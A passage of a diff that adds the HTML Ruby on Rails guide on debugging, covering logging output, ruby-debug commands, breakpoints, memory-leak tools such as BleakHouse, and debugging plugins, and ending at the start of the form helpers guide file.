+  Parameters: {&quot;commit&quot;=&gt;&quot;Create&quot;, &quot;post&quot;=&gt;{&quot;title&quot;=&gt;&quot;Debugging Rails&quot;,
+ &quot;body&quot;=&gt;&quot;I'm learning how to print in logs!!!&quot;, &quot;published&quot;=&gt;&quot;0&quot;},
+ &quot;authenticity_token&quot;=&gt;&quot;2059c1286e93402e389127b1153204e0d1e275dd&quot;, &quot;action&quot;=&gt;&quot;create&quot;, &quot;controller&quot;=&gt;&quot;posts&quot;}
+New post: {&quot;updated_at&quot;=&gt;nil, &quot;title&quot;=&gt;&quot;Debugging Rails&quot;, &quot;body&quot;=&gt;&quot;I'm learning how to print in logs!!!&quot;,
+ &quot;published&quot;=&gt;false, &quot;created_at&quot;=&gt;nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO &quot;posts&quot; (&quot;updated_at&quot;, &quot;title&quot;, &quot;body&quot;, &quot;published&quot;,
+ &quot;created_at&quot;) VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #&lt;Post:0x20af760&gt;
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+</pre>
+</div>
+</notextile>
+
+<p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p>
+<h3 id="debugging-with-ruby-debug">3 Debugging with <tt>ruby-debug</tt></h3>
+<p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p>
+<p>The debugger can also help you if you want to learn about the Rails source code but don&#8217;t know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p>
+<h4 id="setup">3.1 Setup</h4>
+<p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ sudo gem install ruby-debug
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>If you are using Ruby 1.9, you can install a compatible version of <tt>ruby-debug</tt> by running <tt>sudo gem install ruby-debug19</tt></p></div>
+<p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project&#8217;s page on rubyforge</a>.</p>
+<p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p>
+<p>Here&#8217;s an example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PeopleController &lt; ApplicationController
+  def new
+    debugger
+    @person = Person.new
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you see the message in the console or logs:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+</pre>
+</div>
+</notextile>
+
+<p>Make sure you have started your web server with the option <tt>--debugger</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+~/PathTo/rails_project$ rails server --debugger
+=&gt; Booting Mongrel (use 'rails server webrick' to force WEBrick)
+=&gt; Rails 3.0.0 application starting on http://0.0.0.0:3000
+=&gt; Debugger enabled
+...
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>In development mode, you can dynamically <tt>require \'ruby-debug\'</tt> instead of restarting the server, if it was started without <tt>--debugger</tt>.</p></div>
+<p>In order to use Rails debugging you&#8217;ll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p>
+<h4 id="the-shell">3.2 The Shell</h4>
+<p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug&#8217;s prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p>
+<p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p>
+<p>For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+@posts = Post.find(:all)
+(rdb:7)
+</pre>
+</div>
+</notextile>
+
+<p>Now it&#8217;s time to explore and dig into your application. A good place to start is by asking the debugger for help&#8230; so type: <tt>help</tt> (You didn&#8217;t see that coming, right?)</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help &lt;command-name&gt;' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>To view the help menu for any command use <tt>help &lt;command-name&gt;</tt> in active debug mode. For example: <em><tt>help var</tt></em></p></div>
+<p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p>
+<p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>=></tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController &lt; ApplicationController
+   2    # GET /posts
+   3    # GET /posts.xml
+   4    def index
+   5      debugger
+=&gt; 6      @posts = Post.find(:all)
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.xml  { render :xml =&gt; @posts }
+</pre>
+</div>
+</notextile>
+
+<p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.xml
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb
+</pre>
+</div>
+</notextile>
+
+<p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p>
+<h4 id="the-context">3.3 The Context</h4>
+<p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p>
+<p>ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p>
+<p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+</pre>
+</div>
+</notextile>
+
+<p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame _n_</tt> command, where <em>n</em> is the specified frame number.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+</pre>
+</div>
+</notextile>
+
+<p>The available variables are the same as if you were running the code line by line. After all, that&#8217;s what debugging is.</p>
+<p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p>
+<h4 id="threads">3.4 Threads</h4>
+<p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p>
+<ul>
+	<li><tt>thread</tt> shows the current thread.</li>
+	<li><tt>thread list</tt> is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.</li>
+	<li><tt>thread stop _n_</tt> stop thread <em>n</em>.</li>
+	<li><tt>thread resume _n_</tt> resumes thread <em>n</em>.</li>
+	<li><tt>thread switch _n_</tt> switches the current thread context to <em>n</em>.</li>
+</ul>
+<p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p>
+<h4 id="inspecting-variables">3.5 Inspecting Variables</h4>
+<p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p>
+<p>This example shows how you can print the instance_variables defined within the current context:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+@posts = Post.find(:all)
+(rdb:11) instance_variables
+[&quot;@_response&quot;, &quot;@action_name&quot;, &quot;@url&quot;, &quot;@_session&quot;, &quot;@_cookies&quot;, &quot;@performed_render&quot;, &quot;@_flash&quot;, &quot;@template&quot;, &quot;@_params&quot;, &quot;@before_filter_chain_aborted&quot;, &quot;@request_origin&quot;, &quot;@_headers&quot;, &quot;@performed_redirect&quot;, &quot;@_request&quot;]
+</pre>
+</div>
+</notextile>
+
+<p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you&#8217;ll learn more about this command later in this guide).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {&quot;action&quot;=&gt;&quot;index&quot;, &quot;controller&quot;=&gt;&quot;posts&quot;}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+</pre>
+</div>
+</notextile>
+
+<p>And then ask again for the instance_variables:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:11) instance_variables.include? &quot;@posts&quot;
+true
+</pre>
+</div>
+</notextile>
+
+<p>Now <tt>@posts</tt> is included in the instance variables, because the line defining it was executed.</p>
+<div class='info'><p>You can also step into <strong>irb</strong> mode with the command <tt>irb</tt> (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.</p></div>
+<p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+var
+(rdb:1) v[ar] const &lt;object&gt;            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] &lt;object&gt;       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables
+</pre>
+</div>
+</notextile>
+
+<p>This is a great way to inspect the values of the current context variables. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:9) var local
+  __dbg_verbose_save =&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>You can also inspect for an object method this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:9) var instance Post.new
+@attributes = {&quot;updated_at&quot;=&gt;nil, &quot;body&quot;=&gt;nil, &quot;title&quot;=&gt;nil, &quot;published&quot;=&gt;nil, &quot;created_at&quot;...
+@attributes_cache = {}
+@new_record = true
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>The commands <tt>p</tt> (print) and <tt>pp</tt> (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.</p></div>
+<p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:1) display @recent_comments
+1: @recent_comments =
+</pre>
+</div>
+</notextile>
+
+<p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay _n_</tt> where <em>n</em> is the variable number (1 in the last example).</p>
+<h4 id="step-by-step">3.6 Step by Step</h4>
+<p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p>
+<p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p>
+<div class='info'><p>You can also use <tt>step</tt> <em>n</em><tt> and </tt>step- _n_+ to move forward or backward <em>n</em> steps respectively.</p></div>
+<p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p>
+<p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p>
+<p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Author &lt; ActiveRecord::Base
+  has_one :editorial
+  has_many :comments
+
+  def find_recent_comments(limit = 10)
+    debugger
+    @recent_comments ||= comments.find(
+      :all,
+      :conditions =&gt; [&quot;created_at &gt; ?&quot;, 1.week.ago],
+      :limit =&gt; limit
+    )
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>You can use ruby-debug while using <tt>rails console</tt>. Just remember to <tt>require "ruby-debug"</tt> before calling the <tt>debugger</tt> method.</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+/PathTo/project $ rails console
+Loading development environment (Rails 2.1.0)
+&gt;&gt; require &quot;ruby-debug&quot;
+=&gt; []
+&gt;&gt; author = Author.first
+=&gt; #&lt;Author id: 1, first_name: &quot;Bob&quot;, last_name: &quot;Smith&quot;, created_at: &quot;2008-07-31 12:46:10&quot;, updated_at: &quot;2008-07-31 12:46:10&quot;&gt;
+&gt;&gt; author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+</pre>
+</div>
+</notextile>
+
+<p>With the code stopped, take a look around:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:1) list
+[6, 15] in /PathTo/project/app/models/author.rb
+   6      debugger
+   7      @recent_comments ||= comments.find(
+   8        :all,
+   9        :conditions =&gt; [&quot;created_at &gt; ?&quot;, 1.week.ago],
+   10        :limit =&gt; limit
+=&gt; 11      )
+   12    end
+   13  end
+</pre>
+</div>
+</notextile>
+
+<p>You are at the end of the line, but&#8230; was this line executed? You can inspect the instance variables.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:1) var instance
+@attributes = {&quot;updated_at&quot;=&gt;&quot;2008-07-31 12:46:10&quot;, &quot;id&quot;=&gt;&quot;1&quot;, &quot;first_name&quot;=&gt;&quot;Bob&quot;, &quot;las...
+@attributes_cache = {}
+</pre>
+</div>
+</notextile>
+
+<p><tt>@recent_comments</tt> hasn&#8217;t been defined yet, so it&#8217;s clear that this line hasn&#8217;t been executed yet. Use the <tt>next</tt> command to move on in the code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+@recent_comments
+(rdb:1) var instance
+@attributes = {&quot;updated_at&quot;=&gt;&quot;2008-07-31 12:46:10&quot;, &quot;id&quot;=&gt;&quot;1&quot;, &quot;first_name&quot;=&gt;&quot;Bob&quot;, &quot;las...
+@attributes_cache = {}
+@comments = []
+@recent_comments = []
+</pre>
+</div>
+</notextile>
+
+<p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p>
+<p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p>
+<h4 id="breakpoints">3.7 Breakpoints</h4>
+<p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p>
+<p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p>
+<ul>
+	<li><tt>break line</tt>: set breakpoint in the <em>line</em> in the current source file.</li>
+	<li><tt>break file:line [if expression]</tt>: set breakpoint in the <em>line</em> number inside the <em>file</em>. If an <em>expression</em> is given it must evaluated to <em>true</em> to fire up the debugger.</li>
+	<li><tt>break class(.|\#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and \# for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+</pre>
+</div>
+</notextile>
+
+<p>Use <tt>info breakpoints _n_</tt> or <tt>info break _n_</tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10
+</pre>
+</div>
+</notextile>
+
+<p>To delete breakpoints: use the command <tt>delete _n_</tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+</pre>
+</div>
+</notextile>
+
+<p>You can also enable or disable breakpoints:</p>
+<ul>
+	<li><tt>enable breakpoints</tt>: allow a list <em>breakpoints</em> or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.</li>
+	<li><tt>disable breakpoints</tt>: the <em>breakpoints</em> will have no effect on your program.</li>
+</ul>
+<h4 id="catching-exceptions">3.8 Catching Exceptions</h4>
+<p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p>
+<p>To list all active catchpoints use <tt>catch</tt>.</p>
+<h4 id="resuming-execution">3.9 Resuming Execution</h4>
+<p>There are two ways to resume execution of an application that is stopped in the debugger:</p>
+<ul>
+	<li><tt>continue</tt> [line-specification] (or <tt>c</tt>): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.</li>
+	<li><tt>finish</tt> [frame-number] (or <tt>fin</tt>): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.</li>
+</ul>
+<h4 id="editing">3.10 Editing</h4>
+<p>Two commands allow you to open code from the debugger into an editor:</p>
+<ul>
+	<li><tt>edit [file:line]</tt>: edit <em>file</em> using the editor specified by the <span class="caps">EDITOR</span> environment variable. A specific <em>line</em> can also be given.</li>
+	<li><tt>tmate _n_</tt> (abbreviated <tt>tm</tt>): open the current file in TextMate. It uses n-th frame if <em>n</em> is specified.</li>
+</ul>
+<h4 id="quitting">3.11 Quitting</h4>
+<p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p>
+<p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p>
+<h4 id="settings">3.12 Settings</h4>
+<p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p>
+<ul>
+	<li><tt>set reload</tt>: Reload source code when changed.</li>
+	<li><tt>set autolist</tt>: Execute <tt>list</tt> command on every breakpoint.</li>
+	<li><tt>set listsize _n_</tt>: Set number of source lines to list by default to <em>n</em>.</li>
+	<li><tt>set forcestep</tt>: Make sure the <tt>next</tt> and <tt>step</tt> commands always move to a new line</li>
+</ul>
+<p>You can see the full list by using <tt>help set</tt>. Use <tt>help set _subcommand_</tt> to learn about a particular <tt>set</tt> command.</p>
+<div class='info'><p>You can include any number of these configuration lines inside a <tt>.rdebugrc</tt> file in your <span class="caps">HOME</span> directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.</p></div>
+<p>Here&#8217;s a good start for an <tt>.rdebugrc</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+set autolist
+set forcestep
+set listsize 25
+</pre>
+</div>
+</notextile>
+
+<h3 id="debugging-memory-leaks">4 Debugging Memory Leaks</h3>
+<p>A Ruby application (on Rails or not), can leak memory &#8211; either in the Ruby code or at the C code level.</p>
+<p>In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.</p>
+<h4 id="bleakhouse">4.1 BleakHouse</h4>
+<p><a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> is a library for finding memory leaks.</p>
+<p>If a Ruby object does not go out of scope, the Ruby Garbage Collector won&#8217;t sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.</p>
+<p>To install it run:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+sudo gem install bleak_house
+</pre>
+</div>
+</notextile>
+
+<p>Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'bleak_house' if ENV['BLEAK_HOUSE']
+</pre>
+</div>
+</notextile>
+
+<p>Start a server instance with BleakHouse integration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
+</pre>
+</div>
+</notextile>
+
+<p>Make sure to run a couple hundred requests to get better data samples, then press <tt>CTRL-C</tt>. The server will stop and Bleak House will produce a dumpfile in <tt>/tmp</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+** BleakHouse: working...
+** BleakHouse: complete
+** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
+</pre>
+</div>
+</notextile>
+
+<p>To analyze it, just run the listed command. The top 20 leakiest lines will be listed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+191691 total objects
+  Final heap size 191691 filled, 220961 free
+  Displaying top 20 most common line/class pairs
+  89513 __null__:__null__:__node__
+  41438 __null__:__null__:String
+  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
+  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
+  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
+   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
+   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
+   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
+  ...
+</pre>
+</div>
+</notextile>
+
+<p>This way you can find where your application is leaking memory and fix it.</p>
+<p>If <a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> doesn&#8217;t report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.</p>
+<h4 id="valgrind">4.2 Valgrind</h4>
+<p><a href="http://valgrind.org/">Valgrind</a> is a Linux-only application for detecting C-based memory leaks and race conditions.</p>
+<p>There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls <tt>malloc()</tt> but is doesn&#8217;t properly call <tt>free()</tt>, this memory won&#8217;t be available until the app terminates.</p>
+<p>For further information on how to install Valgrind and use with Ruby, refer to <a href="http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/">Valgrind and Ruby</a> by Evan Weaver.</p>
+<h3 id="plugins-for-debugging">5 Plugins for Debugging</h3>
+<p>There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:</p>
+<ul>
+	<li><a href="http://github.com/josevalim/rails-footnotes">Footnotes</a>: Every Rails page has footnotes that give request information and link back to your source via TextMate.</li>
+	<li><a href="http://github.com/ntalbott/query_trace/tree/master">Query Trace</a>: Adds query origin tracing to your logs.</li>
+	<li><a href="http://github.com/dan-manges/query_stats/tree/master">Query Stats</a>: A Rails plugin to track database queries.</li>
+	<li><a href="http://code.google.com/p/query-reviewer/">Query Reviewer</a>: This rails plugin not only runs &#8220;<span class="caps">EXPLAIN</span>&#8221; before each of your select queries in development, but provides a small <span class="caps">DIV</span> in the rendered output of each page with the summary of warnings for each query that it analyzed.</li>
+	<li><a href="http://github.com/rails/exception_notification/tree/master">Exception Notifier</a>: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.</li>
+	<li><a href="http://github.com/defunkt/exception_logger/tree/master">Exception Logger</a>: Logs your Rails exceptions in the database and provides a funky web interface to manage them.</li>
+</ul>
+<h3 id="references">6 References</h3>
+<ul>
+	<li><a href="http://www.datanoise.com/ruby-debug">ruby-debug Homepage</a></li>
+	<li><a href="http://www.sitepoint.com/article/debug-rails-app-ruby-debug/">Article: Debugging a Rails application with ruby-debug</a></li>
+	<li><a href="http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/">ruby-debug Basics screencast</a></li>
+	<li><a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate&#8217;s ruby-debug screencast</a></li>
+	<li><a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate&#8217;s stack trace screencast</a></li>
+	<li><a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate&#8217;s logger screencast</a></li>
+	<li><a href="http://bashdb.sourceforge.net/ruby-debug.html">Debugging with ruby-debug</a></li>
+	<li><a href="http://cheat.errtheblog.com/s/rdebug/">ruby-debug cheat sheet</a></li>
+	<li><a href="http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging">Ruby on Rails Wiki: How to Configure Logging</a></li>
+	<li><a href="http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html">Bleak House Documentation</a></li>
+</ul>
+<h3 id="changelog">7 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p>
+<ul>
+	<li>April 4, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>November 3, 2008: Accepted for publication. Added <span class="caps">RJS</span>, memory leaks and plugins chapters by <a href="credits.html#miloops">Emilio Tagua</a></li>
+	<li>October 19, 2008: Copy editing pass by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>September 16, 2008: initial version by <a href="credits.html#miloops">Emilio Tagua</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/form_helpers.html
@@ -0,0 +1,986 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Rails Form helpers</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
